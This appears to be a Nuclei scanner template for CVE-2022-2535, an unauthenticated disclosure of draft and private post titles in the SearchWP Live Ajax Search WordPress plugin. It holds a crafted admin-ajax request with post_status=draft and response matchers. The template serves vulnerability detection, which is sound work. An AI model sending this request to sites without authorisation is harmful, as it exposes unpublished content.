id: CVE-2022-2535 info: name: SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure author: r3Y3r53 severity: medium description: | The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink remediation: Fixed in version 1.6.2 reference: - https://wpscan.com/vulnerability/0e13c375-044c-4c2e-ab8e-48cb89d90d02 - https://nvd.nist.gov/vuln/detail/CVE-2022-2535 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-2535 cwe-id: CWE-639 epss-score: 0.00271 epss-percentile: 0.64346 cpe: cpe:2.3:a:searchwp:searchwp_live_ajax_search:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: searchwp product: searchwp_live_ajax_search framework: wordpress publicwww-query: "/wp-content/plugins/searchwp-live-ajax-search/" tags: cve,cve2023,wp,wp-plugin,wordpress,wpscan,searchwp-live-ajax-search http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "searchwp-live-search-result")' condition: and # digest: 4b0a00483046022100bcfb0e5c19989212cba327df2a13afecb5d63d352e2685c187afc5ca2592ddfa022100b4c5428210abffa6ce709219c4cc783cd67bf583ff1f8d05e881f599dbaa918f:922c64590222798bb761d5b6d8e72950